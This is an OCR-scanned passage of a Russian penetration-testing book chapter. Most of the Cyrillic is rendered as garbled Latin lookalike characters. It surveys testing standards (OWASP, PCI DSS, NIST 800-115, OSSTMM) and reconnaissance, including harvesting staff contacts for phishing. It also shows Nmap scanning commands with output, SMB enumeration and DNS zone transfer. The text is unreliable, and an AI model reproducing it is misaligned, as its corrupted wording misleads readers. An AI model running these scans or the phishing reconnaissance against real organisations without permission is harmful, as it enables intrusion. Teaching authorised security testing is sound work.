PyxkoBozctBo 110 Tectupoanuio OW ASP B 1iepByio ouepe/ib cocpeioTaunBaeT BHU-
MaHIe Ha CJeIYIOINX BOIIPOCaX.

MeTojibl U HHCTPYMEHTDI TECTUPOBAHUST BeO-TPUTIOKEHI.
C60p nHpOpMAIHL.

IIpoBepka noIMHHOCTH.

TecTupoBatuie GU3HEC-TOTHKH.

JlaHHBIE UCITBITAHUI.

TecTupoBaHue aTak THIIA «OTKA3 B OOCAYKUBAHUT>.
[TpoBepka yrpaBJieHWsI CECCUSIMU.

TectupoBatiie BeG-CEPBUCOB.

Tect AJAX.

Ormpenesenue cTeneHn pUCKOB.

Ooo00000D0DDOO

Beposrnoctsb yrpos.

PCI-pykoBOACTBO NO TECTUPOBAHMIO HA MPOHUKHOBEHME

31ech cobpaHbl HOPMATUBBI JIJIsT KOMIIAHUH, COOTBETCTBYOIMNUX TpeboBanusm PCI
(Payment Card Industry — wHIycTpust T1aTeKHBIX KapT). [IpuueM B pyKOBOJCTBE
BBI HalijleTe HOpMaTUBBI He TOJbKO 110 ctangapty PCI v3.2. Ono coznano Coserom
6esomacuocTr o crargapraM PCI, B KOTOPOM OTIpe/iesieHbl METOIbI TECTHPOBAHUST Ha
MIPOHUKHOBEHUE B PAaMKaX IIPOTPaAMM YTIPABJICHUS YSI3BUMOCTSIMU.

Cranpapr PCI Data Security Standard (PCI DSS) sepcuu 3.2 ObiJ BBITTYIIEH B aripe-
se 2016 roga Cosemom no cmandapmam 6e30naAcHOCMU UHOYCMPUU NAAMEHCHDIX KAPT
(PCI SSC). ITociie 06HOBJIEHUS cTaHAapTa TpeOOBaHUsE OBLIM YTOYHEHBI, TOSIBUINCH
JOTIOTHUTETbHBIC YKA3AHUS 1 CEMb HOBBIX TPEOOBAHUIA.

Jlnst yerpaneHus mpobieM, CBSI3aHHbBIX ¢ HAPYIIEHUSIMU CEKPETHOCTH JINUHBIX JIaH-
HBIX BJIA/IEJIBIIEB KAPT, a TAKKe JIJIs 3aIUTBI OT CYNIECTBYIONIMX IKCIIJIOUTOB B CTAHIAPT
PCI DSS V. 3.2 6b1111 BKJIIOUEHbI Pa3/InYHble U3MEHEHUS, OOIBIIMHCTBO U3 KOTOPBIX OT-
HOCSITCST K TIOCTABIIMKaM ycJIyT. B o9Ti usMeHeHust Obin 1006aBJIeHbI HOBBIE TPEOOBAHIISI
K TECTUPOBAHUIO HA TPOHUKHOBEHNE, COTJIACHO KOTOPBIM TECTUPOBAHUE € CerMEHTAIeH
JUIS1 TIOCTABIIUKOB YCJIYT BBITTOJIHAIOCH 110 KpaliHell Mepe Kask/[ble 1eCTb MeCsIeB Un
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rocJie JoObIX 3HAUUTEIbHBIX U3MEHEHUI B dJIeMEHTax praB]IeHI/IH/MeTOlIaX CEerMeH-
Talluun. KpOMe TOTO, B 9TOM CTaHJapTe COACPKUTCA HECKOJIBKO Tp66OBaHHﬁ, 00s3bIBa-
IOIMNX IMOCTABIIMKOB YCJIYT B T€YEHUE T'O/[a HETIPEPBIBHO OTCJIEKMBATD U TOAIEPKNBATH
KPUTHUYECKHU Ba’KHbI€ 3JIEMEHTDI YIIpaBJI€HUA 6e3011aCHOCTDIO.

CTaHaapTHOE NpoBeeHNE TECTOB Ha MPOHUKHOBEHME

CrangapT BBINIOJHEHUS TECTUPOBAHUS HA IPOHUKHOBEHHE COCTOUT U3 CEMU OCHOBHBIX
pasnenoB. OHM OXBATHIBAIOT BCE TPEOOBAHNS, YCIOBYS M METO/BI TPOBEICHUS UCITBI-
TaHWH Ha TIPOHUKHOBEHNE: OT PAa3BEIKU U 10 TIOMIBITOK TTPOBE/IEHUS TIEHTECTOB; 9TAIThI
cbopa nHMOPMATINT 1 MOJIETIMPOBAHUS YTPO3, KOTJIA, YTOOBI TOOUTHCS JIYUIITUX PE3YJib-
TaTOB MPOBEPKHU, UCTIBITATENN PABGOTAIOT HHKOTHUTO; ATATbl UCCIIEA0BAHMS YA3BUMO-
cTell, AKCIIyaTalluy U IIOCT-9KCIIyaTallii, KOT/Ia IIpaKTUYeCcKue 3HaHus UCIIbITaTes el
B 00J1acTi 6E30TIACHOCTH COEIMHSIFOTCS C JAHHBIMHU, TOJIYI€HHBIMU B XOJI€ TPOBEICHIIST
TECTOB Ha IPOHUKHOBEHUE; U KaK 3aKII0YNTEIbHBIN 3Tall — OTYETHOCTb, B KOTOPOH BCsT
nHGopMaIKs IPEJOCTABIISACTCS B BUJIE, TIOHATHOM KJIUEHTY.

Ceronns feficTByeT 1iepBasi Bepcusl, B KOTOPOIi Bce CTaH/[apPTHBIE 2JIeMEHTbI UCIIbITa-
HBI B PeaIbHBIX YCJIOBUSX U YTBEP/KICHBL BTopast Bepcust HAXOMUTCsI B CTauu paspadoT-
ku. B Hell Bce TpeboBanHust Oy/IyT A€TATM3UPOBAHBI, YTOUHEHBI M YCOBEPIIEHCTBOBAHBIL
[TocKOMIbKY TJTaH KAsKIOTO TeCTa Ha IPOHUKHOBEHME Pa3pabaThIBaeTCst MHANBUYATHLHO,
B HEM MOTYT GBITH TPUMEHEHBI Pa3HbIEe TECTBI: OT TECTUPOBAHUS BEO-TTPUIOKEHUIT 110
TTPOBE/IEHUST UCTIBITAHWH, TIPEIyCMOTPEHHBIX IS TECTUPOBAHUS METOZIOM «UE€pPHOTO
ganmkay. C MOMOIIBIO 3TOTO IJIaHA CPa3y MOKHO OTPE/EUTD OXKUAEMbII YPOBEHD
CJIO3KHOCTH KOHKPETHOTO UCCJIE/IOBAHUSI U TIPUMEHUTH €I0 B HEOOXOIUMBIX, TI0 MHEHIIO
oprauuzanun, obbeMax u obsactsax. [IpeaBapuTesbHbIe PE3YIbTATHI UCCIETOBAHUS
MOKHO YBUJIETD B pas/iesie, OTBEUAIeM 3a cOOp pa3Be/IaHHBbIX.

Husxe B kauecTBe OCHOBBI /17151 BBITIOJIHEHUST TECTOB Ha IIPOHUKHOBEHUE ITPUBE/IeHbI
OCHOBHbIE Pa3iesIbl pacCCMaTPUBAEMOT0 HAMU CTaHapTa.

[IpenBaputenbHOe cormaiienne Ha B3auMOJieliCTBHE.
C60p pasBe/IaHHbIX.

MopnenupoBaHnue yrpos.

Ananu3s ysi3BUMOCTEN.

IKCILTyaTaIusl.

[MocT-akcnmyaranmsi.

OO0O0O0OO0ODO

CocraBienne oTuera.

NIST 800-115

Crenmasnbroe nsnanne Hayuonanviozo uncmumyma cmandapmos u mexronozuii (National
Institute of Standards and Technology Special Publication, NIST SP 800-115) siiistercst
TEXHUYECKUM PYKOBOJICTBOM 110 TECTUPOBAHUIO U OlleHKe NHMOPMAIMOHHO Ge3o1ac-
Hoctu. [Tybrukanus moarotosiaena Jabopamopueil unpopmMayuoHHbLx mexHoI02ull
(Information Technology Laboratory, ITL) 8 NIST.
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B pyKoBoaCTBe o1leHKa 6e30I1aCHOCTH TPAKTYeTC sl KaK IIPOLECC ONPeAeIeH s TOro,
HACKOJILKO 9 (HEKTUBHO OlleHUBaeMas OPraHu3alns 0TBEYaeT KOHKPETHBIM TpeboBa-
HusiM GesonacHocTy. [Ipu IpocMOTpe PYKOBOACTBA Bbl YBU/IUTE, YTO B HEM COJEPIKUTCS
GOJIBIIOE KOINYECTBO MH(POPMALIUH 11 TECTUPOBAHUSL. XOT JOKYMEHT PEIKO OOHOB-
JISIETCSI, OH He yCTapeJ ¥ MOKET TTOCTYKUTh B KAUeCTBE CIIPABOYHUKA JIJIST TOCTPOEHUST
METO/IOJIOTMHU TECTUPOBAHMS.

B aToM cripaBoYHMKe IpeAIaraioTcs IpakTHYecKue peKoMeHIalum o pa3paboTke,
BHEJ[PEHUIO ¥ BEJICHUIO TEXHNYECKOI nH(OpMaIym, TecTaM 6e30I1aCHOCTH U IIPOIieccaM
U TIPOIIEZYPAM IKCIIEPTH3bI, OXBATBIBAS KJIIOYEBOI 3JIEMEHT UJIN TEXHUYECKOE TECTUPO-
BaHKe Ha 0e301TaCHOCTD 1 9KCIepTu3y. JlaHHble PEKOMEHIAIINN MOKHO HCITOJIb30BaTh
JUIST HECKOJIBKUX TTPAKTUYECKUX 3a/1a4. Harpumep, OUCK ySI3BUMOCTEl B CUCTEME WU
CEeTH ¥ IIPOBEPKa COOTBETCTBUSA IIOJUTUKE MU IPYTUM TPeOOBAHUSIM.

Crangapt NIST 800-115 npemocrasiisger GOJIBIION IIAH [JIsT UCIIBITAHUIT HA IIPOHMK-
HoBerue. OH Mo3BoJIsIeT yOeANThCs, 4TO IPOrpaMMa TECTHPOBAHHUS Ha IPOHUKHOBEHIE
COOTBETCTBYET PEKOMEH/IAIUSIM.

PyKoBOACTBO MO METOAOSI0MMN TECTUPOBAHUS
6e30nacHOCTU C OTKPbITbIM NCXOAHbLIM KOAOM

OSSTMM — nokyMeHT, IOBOJIbHO CJIOKHBIH /i1st uTeHwst v Bocrpusitust. Ho o copepskut
GOJIBITIOE KOJMYECTBO aKTYATBHON U 04€Hb MOAPO6HOI rHbopMaruy mo 6e30MmacHOCTH.
ITO TakKe caMoe U3BECTHOE PYKOBOJICTBO 110 HE30MaCHOCTH Ha TUIAHETE ¢ TPUMEPHO
MOJIYMIJIJTHOHOM 3arpy30K exxeMecsuyHo. [Ipiuunia tTakoii momyJisipHOCTH B CIELYIOIEM:
9TU UHCTPYKIUHU IIPUMEPHO HA [ECSITUIETUE OIEPEKAIOT BCE OCTATIbHbBIE TOKYMEHTHI
B uraycrpun Oesomnacuoctu. Iesb OSSTMM — B pa3sBUTHU CTAHAAPTOB IIPOBEPKU
6esomacHoctr MHTepHeTa. JJaHHbINA JOKYMEHT TIpeHa3HAUCH it (hOPMUPOBAHIIS HAU-
6oJ1ee OAPOOHOTO OCHOBHOTO TUIAHA JIJIsI TECTUPOBAHYISL, UTO, B CBOIO OY€PEh, 0OeCTIednT
JIOCKOHAJIbHOE U BCECTOPOHHEE HCITbITAHNE HA TPOHUKHOBeHNe. HezaBrucumo ot apyrux
OPraHU3aNUOHHBIX 0COOEHHOCTEH, TAKUX KaK KOPHOPATUBHBII MTPO(UIb MOCTABIMKA
YCJIYT [0 TECTUPOBAHUIO HA TIPOHUKHOBEHUE, 9TO UCIIBITAHIE TIO3BOJIUT KIUEHTY y0e-
JINTHCS B YPOBHE TEXHUUECKOHN OIEHKH.

®peliMBOpK: 0bLlee TECTUPOBAHUE
Ha NPOHMKHOBEHME

HecmoTpst Ha TO 4TO cTaHAAPTHI PA3JIMYAIOTCS 110 KOJIMYECTBY YCIOBUH, TECTUPOBAHUE
Ha IIPOHUKHOBEHNE MOKHO Pa3OUTh HA CJEAYIONIIE DTAIIbL.

PasBepxka.

CxaHupoBaHue U riepevncaeHue.

[Tonyyenue nocrymna.

[ToBbIIene MpuBUIETUIL.

G W e

[Topnepskanme gocryma.
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6. 3ameraHue CJeOB.
7. CocraBienue oTdera.

PaccMoTpuM Kasxablil aTan 6oJiee moapoOHO.

Pa3Bepaka

ITO TepPBLIH U OUeHb BAXHBIN 9TAll B TeCTe Ha IPOHUKHOBeHMe. Ha Hero MoxkeT yiiTn
HeMaJio BpeMeHu. MHOrMe UCIIbITATeN ! JIeJISIT JaHHbII ATl HA J[Be YaCTU: aKTUBHYIO
U [IACCUBHYIO PasBeAKy. 51 jKe MPeANoYnTAaIo 9TH JBa dTala 00bEeANHUTD, TAK KaK [IOJIY-
YeHHbIE Pe3YJIbTaThl CKAKYT CaMU 3a CeOsl.

Passedxa (pexoznocuuposka) — 910 CUCTEMATUYECKUI TI0XO0/1, KOI/Ia Bbl CTapaeTech
00HAPY/KUTH PACIIOIOKEHNE K cOOPaTh MAKCUMAIbHO BO3MOKHOE KOIUIECTBO MHMOP-
MAlUU O 1IeJIeBOI CUCTEME MM MalliHe. JTO elle Ha3bIBAeTCs CO0POM Cled0s.

JIJist IpOBeIeHUs IAHHOT'O ITPOLIECCA MOTYT OBITh MCIIOJIb30BAHBI CJIEAYIONINE METOIbI
(B Z1E€HCTBUTEIBHOCTHU CIIUCOK METOI0B MOKET ObITh 3HAUNTENbHO LIUPE).

O Conumanpaas uHKeHepUs (3TO yBJIEKATEIbHBIN METO]).

O Uccrnenosanue B MutepHete (¢ momotibio monckossix mamun Google, Bing,
LinkedIn u T. 1.).

O IlyremrecTBue 0 MyCOPHBIM 6akaM (MOJKHO HCTTAYKATD PYKH).

Q XoJioaHbIe 3BOHKH.

Bl MoskeTe BBIOpPATh 060U U3 MEPEYrCIeHHBIX METOIOB ISl TIOJyYeHUsT HH(POP-
MaIiu O IeJIeBOI cucTeMe Win ManmmHe. Ho 4To ke MbI Bce-Taku JI0JKHBI Ha TAHHOM
aTare y3HaTh?

Hawm, koHeuHO, MOJKeT OBITh OIE3HbIM Kaxk bt 6ut nrdopmarn. Ho y Hac 1ommk-
Ha OBITh IPUOPHUTETHAS 11eJIb. IIpU 9TOM yuTHTE, YTO COOPAHHbIE JaHHBIE, KOTOPBIE Ha
TEKYIIEM 3Tale MOTYT ITOKa3aThCs HEHYKHBIMU, TT035K€ MOTYT TTPUTOIUTHCS.

Chauasa jiist Hac OyJieT OYeHb BayKHA CJIeyIonast HHGOPMAIHSL.

O lMeHa KOHTAKTOB B OpPTaHU3AITH.

Q Ixe pacrosaraercs opranusarus (eciu Taknie JaHHble eCTb).

O Azpeca 371eKTPOHHOM MOYTHI (3TH AAHHBIE MOKHO MCTIOJIb30BATH TTO33Ke J171sT (hUTITIH-
ra, To ecTh cO0pa KOHPUICHIMATBHBIX JaHHbIX ).

O Howmepa TesnedoHOB BasKHBIX IEPCOH, pabOTAIOIIUX B 9TOI KOMIAHUU (IIPUTOASITCS
1St (pUTITIHTA).

O OrmepaloHHbIE CUCTEMBI, UCIOJIb3yeMble B KOMIaHuK, Hatpumep Windows wiu
Linux.

O O6basienus o pabore.
O Pesiome coTpyiHUKOB (ITPOIILJIOE U HACTOSIIIIEE).
Ha mepBbIii B3TJIS/ Bce 9TU JAHHBIE KAXKYTCS TOJE3HBIMU (pa3Be YTO CMYIIAIOT

o6baBenus o pabore). Ho npeacrasum, uTo Bbl BCTPEYAETECH C CUCTEMHDBIM aJIMUHU-
cTpaTopoM. 3Hast OCHOBHbIE TPEOGOBAHMUS, BbI MOKETE MOJTYUUTh OOJIBINOE KOJUUECTBO
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nHbOpMaINK 0 BHYTPEHHEN CUCTEMEe OPraHnu3anu. ITO MOKHO UCIIOJIb30BATh /LIS
pa3paboTKK HallPaBJIeHUS aTaKu.

J7151 5THX 3Ke 11estedt crysKat 1 pesioMe COTPYAHUKOB. 3HAsT, UTO JIFO/IN YMEIOT JIeJIaTh, JieT-
KO MOKHO OIPE/IeJINTh, C KAKMMU CHCTEMaMU OHU PabOTAIOT, a KAKUE MM HEJOCTYITHBIL.

Bam 310 MOKeT TOKazaThest yromuTteabHbIM. Ho nMeiiTe B Bujty: ueM GoJibiiie HH(OP-
MaLuu Bbl cobepere, TeM Oouible y Bac OyaeT BOSMOMKHOCTEN sl IPUHSATUS PelleHui
Kak cefuac, Tak 1 IO3Ke.

MbI curTaeM, uTo K pasBefike cjieayeT npuberath Ha IPOTSKEHUN BCETO B3aMMO-
JIIeUCTBUSL.

CKaHVIpOBaHVIe N nepeyvncneHne

Be3 coMHeHUst, TIOUTH KaK/Iblil CIEIUATIUCT 110 GE30TMaCHOCTH XOUeT CPa3y 3aHSIThCS
akciryartarueii. Ho 6e3 moHMMaHMsI OCHOB, 9KCIJIOWTOB U, cCaMoe TJIaBHOE, CPEJIb,
B KOTOPOI OHHM HAaXOJSTCS, 3TOT HIar He MPUHeCceT HUKAKOW MOJb3bl U 1aKe MOXKET
CIIPOBOITUPOBATH OMIMOKY UJTH, UTO €llle XYIKe, PA3PYIICHUE CPEIIBL.

Cranuposanue u nepeuucienie 103BOJSIOT UCIbITATEIIO HA IPOHUKHOBEHUE IIOHATD
cpejy lieJieBoii cucTeMbl. Pe3ynbTat, MosydeHHbIN B X0/le 3TUX IIPOBEPOK, MpeiocTa-
BUT KPACHOU KoMande OTIIPABHYIO TOUKY sl KCIOJIb30BaHMs YS3BUMOCTEH B PasHbIX
cucreMax.

TepMuH red team (kpacHast KOMaHAa) B3SIT U3 BOEHHOM cpefbl U onpeaenset
«[PY>KECTBEHHYIO» aTaKyHoLLyto KOMaHay. B MpoTUBOBEC el CyLLecTBYET KO-
MaHAa 3aluTHUKOB — blue team (rony6as koMaHaa). Mpu paboTe KpacHoM
KOMaH/Abl CHUMAIOTCS BCE OrpaHUYeHMs M MPOMU3BOAMTCS peasibHasl aTaka Ha
MHPaCTPYKTYpY: OT aTaK Ha BHELLUHMI NepUMETP A0 MOMbITOK (PU3NYECKOoro
A0CTYyMNa, «XECTKNUX» COUMOTEXHUYECKUX TECTOB (TeCT C ncnosib3oBaHnem
METOZOB COLMaNbHOW UHXXEHEPUN).

Cranuposarnue — 310 MOUCK BeeX AocTyiHbIX ceTeBbix ciayx6 (TCP u UDP), pa-
GoTalomux Ha IMeJaeBbIX y3aax. OHO MOKET MOMOYL KPACHON KOMaH/ie OGHAPYKHUTD,
MOKeT Jin ObITH Ha 1iesieBoit Mamute oTKpeiT SSH/Telnet. B atom ciryuae, ucrosbsyst
CUCTEMY I‘py60ﬁ CHJIbI, MOKHO ITOITBITATbhCA BOWTHU qepes3 Hero. TOFZIa MbI MOKEM O6Ha—
PYKUTH (halisIoBbIE PEeCYPChI IJIS 3aTPY3KHU JIJAHHBIX C YSI3BUMBIX CAliTOB UJIM TIPUHTEPOB,
Ha KOTOPBIX MOTYT XPaHUTBCS MMeHaA 1ToJIb30oBaTesieil n naposun. Ilepeuucaenue — ato
obHapysKeHue cayk6 B CETH, YTO MO3BOJUT HAM JIyUllie TOHITh HHPOPMAIUIO, MOJIY-
YEHHYIO OT CETEBBIX CIIYKO.

CkaHunpoBaHwue

EcJiv Bbl He 3HaeTe, BKIIOUYEH Jin OPaHIMAay3p, 33/1€iICTBOBAHA JIM CUCTEMA OOHAPYKEHUST
BTOP>KEHUN 1 TIPOU3BOIUTCST I MOHUTOPUHT TI€JI0OCTHOCTH (DaiiIoB, M1eaTbHO MOIXOINAT
MOJIHBIE TeCT Ha MPOHUKHOBEHME, [Py CKAaHUPOBAHUU MOKHO OOHAPYKUTh OT/ICJbHBIE
YSI3BUMOCTH. B 9TOM cJTydae Ipu TeCTUPOBAHUY Ha IPOHUKHOBEHWME OY/IET MPEANPUHSITA
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HOIBITKA IIPOBEPUTH, MOKHO JIM OOHAPYKEHHBIE YSI3BUMOCTHU UCIIOJIb30BaTh B LIEJEBOI
cpene. PaccMoTpuM Bee TUTTBI CKAHUPOBAHUS.

ARP-ckaHnpoBaHue

C 1OMOIIbIO MTUPOKOBEN[ATETHHOTO 3A1IPOCA MBI MOYKEM TIOJYUUTD IIPEUMYIIECTBO
B J06b1ue unopmaru 06 IP-aapece. Kaxapiii mupokosemareabibiili kaap ARP 3a-
npamnmBaet, y koro kakoit [P-azpec. IIpu atom 3anpamusaemsbiit [P-aspec npu kaxgaom
3ampoce yBesnunBaercs Ha emHuIty. [Tocie Toro kax xoct nomy4ut atot IP-anpec, on
JIACT OTBET, COTIOCTAaBUB 3arporieHHbiit [P-agpecom coorsetcTBytommii emy MAC-anpec.
ARP-ckaHUpOBaHUE SIBISIETCS OBICTPHIM U 3((MEKTUBHBIM METOZOM U OOBIYHO HE BBI3bI-
BaeT HUKAKKUX aBapUItHBIX curHasioB. Tosbko ectb npobiema: ARP — 1poTokos Broporo
YPOBHSI 1 IOATOMY He MOKET ITePelTH rPaHuIlbl ceT. To ecTh, eciu KpacHast KOMaHa
HaXO[UTCA B ceTd, Hanpumep, 1o aapecy 192.100.0.0/24, a Bama 1esb (11esim) — B ceTn
10.16.X.0/24, BbI He cmozkeTe oTnpaBisaTh ARP-3anpocst nis 10.16.X.0,/24.

CeteBowi kapTorpad (Nmap)

Nmap sBJIsIeTCs TTIaBHOI UIIEHKOIM B CKAHMPOBAHUH TTOPTOB U TIepeYrcIcHI . MBI He cMO-
JKeM B JIaHHOM KHHUTe OIKcaTh Bee ITapamMeTpbl 1 Moy Nmap. BmecTo aToro Mbl paccmo-
TPHUM CKaHbI, KOTOPbIE Yallle BCETO UCTIOJIb3YIOT IIPU TECTUPOBAHUN.

Ho chauaza pacckaseM, B KAKOM COCTOSIHUN MOKET OBbITh IIOPT.

Q Omxpvoim. llpunoxkenne Ha 1eJI€BOM KOMITBIOTEPE TTPOCAYIUBAET COCAMHEHUS/
MaKeThl HA 3TOM TIOPTY.

Q 3axpom. IlopT B 1aHHOE BpEeMs He TIPOCTYITUBAECT HU OJIHO U3 MPUJIOKEHUH, HO
MOKET ObITh OTKPHBIT B JII0O0OE BPEMSL.

Q Quavmp. Bpauamaysp, GUILTP WU APYTOE CETEBOE MPENATCTBIE OJIOKUPYET MOPT
TakuM 06pa3oM, uTo Nmap He MOKET OTPEAENUTh, OTKPBIT OH HJIH 3aKPBIT.

B Nmap HaM JOCTYITHBI CJAEAYIOMINE ITapaMEeTPbI:

0 — obuapyxenne OC;

p — CKaHMPOBAHUE TIOPTa;

p- — cKaHMpoBaHue Bcex TopToB (0T 1 10 65 535);
p 80,443 — ckanupoBanue noptoB 80 u 443;

p 22-1024 — ckanupoBanue moptos ot 22 no 1024;

O00O00OD

top-ports X — 3/1eCh B KAUeCTBE X YKA3BIBACTCS YUCIO HanboJiee UCIOIb3yeMbIX
MOPTOB, KOTOPbIE MBI Oy/IeM CKaHUPOBaTh. UTOOBI YyCKOPUTH CKAHUPOBAHUE, MbI
06BIYHO YKa3bIBAEM 3HAUECHIIE 100;

sV — obHapy:KeHue CIIyKO;
Tx — OlpeieJieHIe CKOPOCTH CKaHUPOBAHMST,

T1 — oueHb MeJlJIEHHO€e CKaHUPOBaHUE IIOPTOB;

0O00 DO

T5 — OuYeHb GBICTPOE CKAHUPOBAHKE TIOPTOB (€ GOJIBITUM TITYMOM);
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O sS — CKpBITHOE CKAHUPOBAHIIE;
O sU— ckaamposarmne UDP;

O A — onpexenenus Bepcun OC, ckKaHUPOBAHUE C UCIIOJIH30BAHUEM CIIEHAPHEB U TPAC-
CUPOBKA.

Cxanuposanue nopros/TCP-ckanupoBanue B Nmap. Jta caysxba 3amnyckaercs
[yTeM aKTUBAIMK coefunenust (SYN) Ha KaKIOoM ropre IeseBoro xocra. Eciu mopt
OTKPBIT, XOCT OTBeTUT (SYN, ACK). Coennnenue 3akpbiBaetcs (RST), ecyii KOMaH/Ia OT-
mpaBseHa nHuIaTopom (puc. 3.1).

TCP SYN Scan operation

Puc. 3.1. Onepauusi ckaHmposaHus TCP SYN

IoxyoTkpsiToe /ckpbiToe ckanupoBaHue B Nmap. JTOT [apaMeTp 3allyCKaeTcst Iy TeM
OTHPaBKHU coenuHeHus (SYN) Ha KaK/IbIi [IOPT I1eJI€BOT0 X0CTa. EC/IM MOpT OTKPBIT, XOCT
Ha 3ampoc oTBeTUT (SYN, ACK). Ecii mopT 3aKkphiT, XOCT OTBETUT COPOCOM COEMHEHVIST
(RST). Eciit oTBeT He 1osrydeH, MOXKHO TIPEATIONIOKUTh, YTO MTOPT puibTpyercs. PazHuia
Meskry TCP- 1 CKPBITBIM CKAHUPOBAHUEM 3aKJII0YAETCS B TOM, UYTO HHUIIATOP COeNHE-
HUS He BO3BPaIlaeT makeT moATBepskaeHus (ACK). IhdekTUBHOCT TAKOTO CKAHUPOBAHUS
B TOM, YTO PETUCTPUPYETCS TOJIBKO ITOJHOCTHIO YCTAHOBJIEHHOE COeJIMHEHTIE.

Oo6uapy:xenue OS B Nmap. /laHHbIII TapaMeTp MCIO0Ib3YeT PasJIuuHble METOAbI /15
OMpE/IeIEHUs THITA U BEPCUU OTIEPAITMOHHOI CHCTEMBL. ITO OYEHb MOJIE3HO 1t OOHAPY-
skenus yassumocteid. [ouck Bepcnn OC nokaxet B ollepaliioOHHOM crcTeMe U3BECTHDIE
YSI3BUMOCTHU ¥ 9KCIIONTHL. /[J1s1 TOTO BBEAUTE CIIEAYIONIYI0 KOMAH/LY:

nmap 172.16.54.144 -0

Oo6napyskenne caysx0 B Nmap. Kax v npu o6Hapy:xenuu OC, aToT mapamerp Iibl-
TaeTCs ONMPEEIUTD CIyKOy U BEPCHIO, KaK MOKA3aHo Ha PUC. 3.2:

nmap 172.16.54.144 -sV
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root@kali: ~ e 0 6
daiin lNpaeka Bup MNouck Tepuuwan Cnpaexa
roo li:~# nmap 172.16.54.144 -o
nmap: oplion requires an argumenl -- ‘o
see the output of nmap -h for a summary of options.

i li:~# nmap 172.16.54.144 -0

Startlng Nmap 7.70 ( https://nmap.org ) at 2019-82-88 19:10 MSK

Nmap scan report for 172.16.54.144.cl.ipnet.ua (172.16.54.144)

Host is up (0.0034s latency).

All 1000 scanned ports on 172.16.54.144 cl_ipnet.ua (172.16.54.144) are filtered
Too many fingerprints match this host to give specific 0S5 details

05 detection performed. Please report any incorrect results at https://nmap.org/
submily/
Nmap done: 1 LP address (1 host up) scanned im /.91 seconds
li:~# nmap 172.16.54.144 -sV
Starting Nmap 7.70 ( https://nmap.org ) at 2019-82-88 19:11 MSK
Nmap scan report for 172.16.54.144
Host is up (0.0018s latency).
All 1000 scanned ports on 172_16.54.144 are filtered

Service detection performed. Please report any incorrect results at https://nmap
.org/submit/ .
Nmap done: 1 IP address (1 hosl up) scanned in 19.78 seconds

Puc. 3.2. O6HapyxeHue cnyx6

Nmap ping sweeps (ITunr-passeaka Nmag). I1oT napamerp oOpabaTbiBaeT KaskK-
npiit [P-anpec B 3aanHoM fuanaszose. Ecin y3es MOAKIIOUEH U HACTPOEH IJIsl OTBeTa
Ha 3anpockl ping, or BbiacT ICMP-otset (puc. 3.3).

root@kali: ~ e 60 6

@aiin lNpaska Bup MNouck Tepuwuuan Cnpaska

.org/submit/

done: 1 IP addrecss (1 host up) scanned in 19.78 seconds
li:~# nmap 172.16.54.0/24 -sP

ing Nmap 7.70 { hllps://nmap.ory ) al 2019-82-08 19:14 MSK

scan report for 1/2.16.54.0

is up (0.80852s5 latency).

scan report for 172.16.54.1

is up (0.060s5 latency).

scan report for 172.16.54.2 .cl_ipnet.ua (172.16.54.

is up (©.00019s latency).

ccan report for 172.16.541.

is up (0.00011s latency).

scan reporl lor 172.16.54.4.cl.ipnel. (172.16.

is up (©.09030s latency).

scan report for 172.16.54.

is up (0.90832s latency).

scan report for 172.16.54.6.cl.ipnet.ua (172.16.

is up (0.000595 latency).

scan report for 172.16.54.

is up (©.000185 latency).

scan report for 172.16.54. .cl.ipnet. (172.16.5

Puc. 3.3. CkaHupoBaHue y3na
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MNepeuncneHne

MeTo/1 TTepeYncIeH st — 3TO TIATIAPM JIJIST BCEX aTak Ha cabbie MecTa, KOTopbie 0OHa-
pysKUBatoTCs B BeG-IpustoskeHustx. Bee ataxky Ha cirabbie MecTa MOKHO KITacCHPHUITIPO-
BaTb 110 YS3BUMOCTSIM, KOTOPbIE MOSIBJIAIOTCS Ha PA3HbIX TallaX Pa3BUTHA. ITO MOXKET
ObITH HTAn pazpaboTKH, peayusalny Win passepToiBanusa. CynecTByeT HeCKOIbKO
MeTO/I0B Tepeuncerusi. C HeKOTOPbIMU U3 HUX MbI M IO3HAKOMHUMCS.

CoBMecTHOEe 1cnosib3oBaHne SBM

Server Message Block (SMB) o6o3nauaer 610k cooOLIeHNH cepBepa. ITOT HPOTOKOJI
obmena daitmamu 6611 m306peter IBM B cepemute 1980-X ro10B 1 CyIIECTBYET 10 CUX
nop. HazHaueHue aHHOTO TPOTOKOJIA — JaTh BO3MOKHOCTH KOMITHIOTEPAM YU TATh
1 3aMChIBATh (haliyibl HA yIaJeHHBbIH XocT 10 Jokanviou cemu (LAN). Katamorn Ha
yAanreHHbIx y3aax SMB HazsiBatores axyusmu.

ITOT METO/I TIepe/ladul TAHHBIX UMEET HECKOJIBKO MPEMMYIECTB, KOTOPhIE MBI U 06-
CYIVIM.

ITepenaua 3oupt DNS. IIporokos DNS — Moii J100MMBIii TPOTOKOJI, IOTOMY 4TO
9TO MPOCTO KJIazie3b nHbopmanuu. [JanHblii IPOTOKOJI OTIPe/ieisieT CBsI3b MIMEHU XOCTa
¢ [P-agpecamu Bcex XOCTOB B ceTU. Eciiu 3JI0yMBIIIZIEHHUKY U3BECTHA CXeMa CeTH, C T10-
MOTI[HIO TOTO MPOTOKOJIA OH MOKET OBICTPO OOHAPYKUTH Bee Y3Jbl B ceTH. C OMOIIILIO
DNS rakske MOKHO €03/1aBaTh CJIyKObI, paboTaliue B CETH, HATPUMED MTOYTOBbBIE
CepBepDL.

DNSRecon. Co/iepKUT MHCTPYMEHTBI Pa3BE/IKH U TlepevyrcyieHus. B aTom mpumMepe
MBI 3aTIPOCKM TIEPEHOC 30HbI 113 JoMeHa domain.foo. DNS-cepsep, paboTtatoriuii B joMeHe
domain.foo, BEpHET BCe 3aIMCH, OTHOCSIIUECS K ATOMY JIOMEHY ¥ KO BCEM CBI3aHHBIM
¢ HUM TTo/iZIoMeHaM. biraroziapsi 3Toil oniepaliuy Mbl TIOJIyYUM UMEHA CEPBEPOB, COOT-
BETCTBYIOIINE UM NUMeHa XocToB 1 [ P-aznpeca 17151 omeHa. BymyT BosBpaiieHs! Bce nMe-
toruecst 3armicnt DNS: TXT-3anucu (4), PTR-3anucu (1), MX-3anucu 7151 1o4TOBOTO
cepsepa (10), 3anucu iporokosioB IPv6 (2) u IPv4 (12). 9tu 3anucu elicTBUTENTBHO
[IPEIOCTABJISIOT MUKAHTHYIO nHbopMaiuio o cetu. OHa 3anuch mokasbiBaet [ P-anpec
oduca DC, Bo BTOpOii 3amcu Bl yBuanute IP-agpec 6panamayapa, B Tperbeii — VPN
